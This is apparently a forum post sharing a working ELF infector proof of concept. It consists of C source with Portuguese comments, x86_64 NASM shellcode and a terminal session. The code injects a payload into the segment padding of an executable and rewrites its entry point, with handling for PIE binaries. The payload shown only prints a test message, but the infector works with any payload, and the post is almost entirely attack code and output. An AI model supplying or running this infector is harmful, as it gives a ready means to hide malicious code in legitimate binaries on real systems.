Doubt infect ELF

If you’re trying to infect a DYN ELF you have only find offset between real e_entry and the new entry point address.
DYN elf first load libraries, then move e_entry to edi (x86) or to r12 (x86_64) and jump
so in your shellcode you have only to sub the offset from edi/r12 (so you will point to original entry) than save the address on the stack or keep it and jump to address. i have done a python script for that, if i find it i will share.

I have made a PoC.

infecta.c

/*
 * infecta.c
 *
 *  Created on: May 13, 2019
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

#include <elf.h>
#include <sys/mman.h>


/* Helper functions */
static int get_file_size (int fd)
{
        struct stat _info;
        fstat (fd, &_info);
        return _info.st_size;
}

/* Open a file and map it in memory for easy update */
int elfi_open_and_map (char *fname, void **data, int *len)
{
        int size;
        int fd;

        if ((fd = open (fname, O_APPEND | O_RDWR, 0)) < 0)
        {
                perror ("open:");
                exit (1);
        }

        size = get_file_size (fd);
        if ((*data = mmap (0, size, PROT_READ| PROT_WRITE| PROT_EXEC, MAP_SHARED, fd, 0)) == MAP_FAILED)
        {
                perror ("mmap:");
                exit (1);
        }

        printf ("+ Arquivo mapeado (%d bytes ) em %p\n", size, data);
        *len = size;
        return fd;
}


#ifdef DEBUG
/* Debug function to dump registers */
void
elfi_dump_segments (void *d)
{
  Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) d;
  Elf64_Phdr* elf_seg;
  int         n_seg = elf_hdr->e_phnum;
  int         i;

//  printf("O tamanho de struct Elf64_Phdr: %ld \n", sizeof(Elf64_Phdr));

  elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);
  for (i = 0; i < n_seg; i++)
    {
        printf (" [INFO] Segment %d: Type: %8x (%x) Offset: %8x "
                "FSize:%8x MSize:%8x\n",
                i, elf_seg->p_type, elf_seg->p_flags,
                (unsigned int)elf_seg->p_offset,
                (unsigned int)elf_seg->p_filesz,
                (unsigned int)elf_seg->p_memsz);

      elf_seg = (Elf64_Phdr *) ((unsigned char*) elf_seg
                            + (unsigned int) elf_hdr->e_phentsize);
    }

}
#endif

// len: tamanho do gap
// p: final do segmento
// d: arquivo elf com as section e program table
// fsize: tamanho do binario
//
//         /* Find executable segment and obtain offset and gap size */
//        vitima_text_program = elfi_find_gap (MapeadoVitima, TamanhoVitima, &p, &len);
Elf64_Phdr* elfi_find_gap(void *mapeado, int TamanhoArquivo, int *p, int *len)
{
        // struct header ELF
        Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) mapeado;
        // struct program header
        Elf64_Phdr* elf_program, *text_program_vitima;
        // e_phnum: numero de entradas na tabela programa
        int         n_seg = elf_hdr->e_phnum;
        int         i;
        int         text_end, gap=TamanhoArquivo;

        //printf("O tamanho de struct Elf64_Phdr: %ld \n", sizeof(Elf64_Phdr));
        //printf("O tamanho da variavel elf_hdr: %ld \n", sizeof(elf_hdr));
        //printf("O tamanho de struct elf_hdr->e_phoff: %ld \n", sizeof(elf_hdr->e_phoff));



        // e_phoff: aponta para o inicio da tabela de programa
        elf_program = (Elf64_Phdr *) ((unsigned char*) elf_hdr + (unsigned int) elf_hdr->e_phoff);
//      printf("p_type %d \n", elf_seg->p_type);

        for (i = 0; i < n_seg; i++)
        {
        //      printf("elf_program->p_flags: %#x\n", elf_program->p_flags);
        //      printf("elf_program->p_type: %#x\n", elf_program->p_type);
//      printf("elf_program->p_offset: %#lx\n", elf_program->p_offset);
        // p_flags: flags define o tipo do segmento(cabecalho de programa
        // Name         | Value   | Meaning
        // PF_X         | 0x1     | Execute
        // PF_W         | 0x2     | Write
        // PF_R         | 0x4     | Read
        // PF_MASKPROC  | 0xf0000000 | Unspecified
        // 0x1 and 0x011 = 1 (verdadeiro)
        // 0x2 and 0x011 = 0 (falso)
        // 0x4 and 0x011 = 0 (falso)
        // 0xf0000000 and 0x011 = 0 (falso)
        // Entao o comando: elf_seg->p_flags & 0x011 -> Procura por um segmento "execute"
        if (elf_program->p_type == PT_LOAD && elf_program->p_flags & 0x011)
      {

                        printf ("+ Processando Vitima -> Encontrado segmento .text executavel (#%d)\n", i);
        /*              printf("elf_program->p_type: %d \n", elf_program->p_type);
                        printf("elf_program->p_offset: %ld \n", elf_program->p_offset);
                        printf("elf_program->p_filesz: %ld \n", elf_program->p_filesz);
*/
                        //text_seg = elf_seg(o segmento progam atual
                        text_program_vitima = elf_program;


                        // elf_program->p_offset: Contem o offset do segmento program no arquivo binario
                        // elf_program->p_filesz: Size in bytes of the segment in the file image. May be 0.
                        // variavel text_end pega o tamanho do segmento text
                        text_end = elf_program->p_offset + elf_program->p_filesz;
//                      printf("o valor de text_end: %d \n", text_end);
      } else {
                        //p_offset: Contem o offset do segmento program no arquivo binario
                        // elf_program->p_offset do segundo segmento LOAD do tipo RW - o final do
                        // segmento LOAD Executavel
                        if (elf_program->p_type == PT_LOAD && (elf_program->p_offset - text_end) < gap)
                        {

/*                      printf("elf_program->p_type: %d \n", elf_program->p_type);
                        printf("elf_program->p_offset: %lx \n", elf_program->p_offset);
                        printf("elf_program->p_filesz: %ld \n", elf_program->p_filesz);

                        printf("o valor de text_end: %d \n", text_end);
                        printf("o valor de gap: %d \n", gap);
*/
                        printf ("   * Processando Vitima -> Encontrado segmento LOAD (#%d) fechado para .text (offset: 0x%x)\n", i, (unsigned int)elf_program->p_offset);

                                gap = elf_program->p_offset - text_end;
                        }
                }
                // q
                // e_phentsize: contem o tamanho de uma entrada de uma tabela de secao
      elf_program = (Elf64_Phdr *) ((unsigned char*) elf_program + (unsigned int) elf_hdr->e_phentsize);
    }

        *p = text_end;
        *len = gap;


        return text_program_vitima;
}



Elf64_Shdr *elfi_find_section (void *data, char *name)
{
  char        *sname;
  int         i;
  Elf64_Ehdr* elf_hdr = (Elf64_Ehdr *) data;
  // e_shoff:   Points to the start of the section header table.
  Elf64_Shdr *shdr = (Elf64_Shdr *)(data + elf_hdr->e_shoff);
  // e_shstrndx: Contains index of the section header table entry that contains the section names.
  Elf64_Shdr *sh_strtab = &shdr[elf_hdr->e_shstrndx];
  // sh_offset: Offset of the section in the file image.
  const char *const sh_strtab_p = data + sh_strtab->sh_offset;

  // e_shnum: Contains the number of entries in the section header table.
  printf ("+ Procesasmento Payload -> Quantidade de Seções no arquivo Payload: %d . Procurando pela seção '%s'\n", elf_hdr->e_shnum, name);


  for (i = 0; i < elf_hdr->e_shnum; i++)
  {
//      printf("Processamento Payload -> O shdr[%d].sh_name: %x \n", i, shdr[i].sh_name);
        sname = (char*) (sh_strtab_p + shdr[i].sh_name);

        printf(" + Processando payload -> sname: '%s'\n", sname);


        if (!strcmp (sname, name))
        {
                printf("entrou no if retornando \n");
                printf("shdr->sh_name: %x  \n", shdr[i].sh_name);


                printf("shdr->sh_type: %x \n", shdr[i].sh_type);
                printf("shdr->sh_addr: %lx \n", shdr[i].sh_addr);
                return &shdr[i];
        }
  }

  return NULL;
}



// MapeadoVitima + p: e o arquivo vitima mapeado mais o program header
// len: tamanho do gap
// pat: padrao a buscar
// val: entrypoint do arquivo elf vitima
//
//  elfi_mem_subst (MapeadoVitima+p, payload_text_section->sh_size, 0x11111111, (long)ep);
int elfi_mem_subst(void *m, int len, long pat, long val)
{
        // obtem o endereco do program header da vitima
        unsigned char *p = (unsigned char*)m;
        long v;
        int i, r;

        /*
        printf("p: %hhn\n", p);
        printf("pat: %lx\n", pat);
        printf("val: %lx\n", val);
        printf("entrando no for\n\n");
*/
//      printf("len: %d \n", len);


        for (i = 0; i < len; i++)
        {
                v = *((long*)(p+i));
                // faz um xor da variavel v e varial pat
                r = v ^pat;


//              printf("v: %lx\n", v);
        //      printf("r: %x\n", r);

                if (r ==0)
                {
                        printf ("+ Padrão %lx encontrado no offset %d -> %lx\n", pat, i, val);
                        *((long*)(p+i)) = val;
                        return 0;
                }
        }
        return -1;
}

int main (int argc, char *argv[])
{
        void        *MapeadoVitima, *MapeadoPayload;
        int         Vitima_fd, payload_fd;
        int         TamanhoVitima, TamanhoPayload;
        // Struct para o header ELF
        Elf64_Ehdr* elf_hdr;
        // Struct para program header
        Elf64_Phdr  *vitima_text_program;
        // struct para section header
        Elf64_Shdr  *payload_text_section;
        // struct de enderecos base
        Elf64_Addr  base, ep;
        //variavel len = gap
        //variavel p=final do segmento LOAD executavel
        int         p, len;

        int offset_mode = 0x00;

        printf ("Exemplo de virus ELF\n\n");
        if (argc == 2){
        	printf("Running in offset mode");
        	offset_mode = 0x01;
        }
        if ((argc != 3 && argc != 2))
        {
                fprintf (stderr, "Uso:\n  %s <arquivo ELF> <payload>\n", argv[0]);
                exit (1);
        }

        /* Open and map target ELF */
        Vitima_fd = elfi_open_and_map (argv[1], &MapeadoVitima, &TamanhoVitima);

        /* Get Application Entry point */
        elf_hdr = (Elf64_Ehdr *) MapeadoVitima;
        ep = elf_hdr->e_entry;
        printf ("+ Processando Vitima -> Valor do Entry point: %p\n", (void*) ep);

#ifdef DEBUG
  elfi_dump_segments (d);
#endif

        /* Find executable segment and obtain offset and gap size */
        vitima_text_program = elfi_find_gap (MapeadoVitima, TamanhoVitima, &p, &len);
        if(offset_mode == 0x01){
        	printf("offset == %p\n", p - elf_hdr->e_entry);
        	return 0;
        }

        // p_vaddr: Virtual address of the segment program in memory
        base = vitima_text_program->p_vaddr;

        printf ("+ Processando vitima -> Endereco Base(Base Address) : 0x%p\n", (void*)base);

        /* Process payload */
        payload_fd = elfi_open_and_map (argv[2], &MapeadoPayload, &TamanhoPayload);

        // funcao que busca o segmento .text
        // MapeadoPayload: arquivo elf a ser injetado na vitima
        // payload_text_section: retorna com o section segmento do .text a ser injetado
        payload_text_section = elfi_find_section (MapeadoPayload, ".text");

        //mostraSectionHeaderELF(payload_text_section);

  /* XXX: Looks like we do not really have to patch the segment sizes */
  /*
  vitima_text_program->p_filesz += payload_text_section->sh_size;
  vitima_text_program->p_memsz += payload_text_section->sh_size;
  */

        printf ("+ Processando Payload -> Secao .text do arquivo Payload encontrado no offset %lx (Tamanho: %lx bytes)\n",  payload_text_section->sh_offset, payload_text_section->sh_size);

        if (payload_text_section->sh_size > len)
        {
                fprintf (stderr, "- Processando Payload -> Arquivo Payload muito grande, Não é possivel infectar.\n");
                exit (1);
        }
  /* Copy payload in the segment padding area */
  // memmove(dest, src, count): copia count bytes do buffer apontado por src para o buffer apontado por dest.
  //

  memmove (MapeadoVitima + p, MapeadoPayload + payload_text_section->sh_offset, payload_text_section->sh_size );

  // jbx81: sorry but i don't speak portuguese :)

  if(elf_hdr->e_type == 0x02){
	  /* Patch return address */

	  elfi_mem_subst (MapeadoVitima+p, payload_text_section->sh_size, 0x11111111, (long)ep);

	  /* Patch entry point */
	  elf_hdr->e_entry = (Elf64_Addr) (base + p);

  } else if(elf_hdr->e_type == 0x03){
	  /*
	   * let's talk about how payload should be.
section .text
        global _start
_start:
        sub r12, 0x4f20 <- put offset here!
        push rax
        push rdi
        push rsi
        push rdx

        mov rax,1       ; [1] - sys_write
        mov rdi,1       ; 0 = stdin / 1 = stdout / 2 = stderr
        lea rsi,[rel msg]     ; pointer(mem address) to msg (*char[])
        mov rdx, msg_end - msg      ; msg size
        syscall         ; calls the function stored in rax

        pop rdx
        pop rsi
        pop rdi
        pop rax
        jmp r12
align 8
        msg     db 'Arquivo infectado Teste',0x0a,0
        msg_end db 0x0


	   *
	   */
	  elf_hdr->e_entry = (Elf64_Addr) (base + p);
  }
  /* Close files and actually update target file */
  close (payload_fd);
  close (Vitima_fd);

  return 0;
}

shellcode.asm

section .text
        global _start
_start:
	sub r12, 0x4f20
	push rax
	push rdi
	push rsi
	push rdx

        mov rax,1       ; [1] - sys_write
        mov rdi,1       ; 0 = stdin / 1 = stdout / 2 = stderr
        lea rsi,[rel msg]     ; pointer(mem address) to msg (*char[])
        mov rdx, msg_end - msg      ; msg size
        syscall         ; calls the function stored in rax

	pop rdx
	pop rsi
	pop rdi
	pop rax
	jmp r12
align 8
        msg     db 'Arquivo infectado Teste',0x0a,0
        msg_end db 0x0

usage:

$ cp /bin/uname evil_uname
$ ./Infecta evil_uname 
Exemplo de virus ELF

Running in offset mode+ Arquivo mapeado (35032 bytes ) em 0x7fff7ae5a540
+ Processando Vitima -> Valor do Entry point: 0x1f60
+ Processando Vitima -> Encontrado segmento .text executavel (#2)
   * Processando Vitima -> Encontrado segmento LOAD (#3) fechado para .text (offset: 0x7990)
offset == 0x4f20
$ #change offset on shellcoda.asm 
$ nasm -f elf64 shellcode.asm
$ ./Infecta evil_uname shellcode.o 
Exemplo de virus ELF

+ Arquivo mapeado (35032 bytes ) em 0x7ffc51d5d920
+ Processando Vitima -> Valor do Entry point: 0x1f60
+ Processando Vitima -> Encontrado segmento .text executavel (#2)
   * Processando Vitima -> Encontrado segmento LOAD (#3) fechado para .text (offset: 0x7990)
+ Processando vitima -> Endereco Base(Base Address) : 0x(nil)
+ Arquivo mapeado (704 bytes ) em 0x7ffc51d5d928
+ Procesasmento Payload -> Quantidade de Seções no arquivo Payload: 5 . Procurando pela seção '.text'
 + Processando payload -> sname: ''
 + Processando payload -> sname: '.text'
entrou no if retornando 
shdr->sh_name: 1  
shdr->sh_type: 1 
shdr->sh_addr: 0 
+ Processando Payload -> Secao .text do arquivo Payload encontrado no offset 180 (Tamanho: 4a bytes)
$ ./evil_uname 
Arquivo infectado Teste
Linux

i will made official version of it.

2 Likes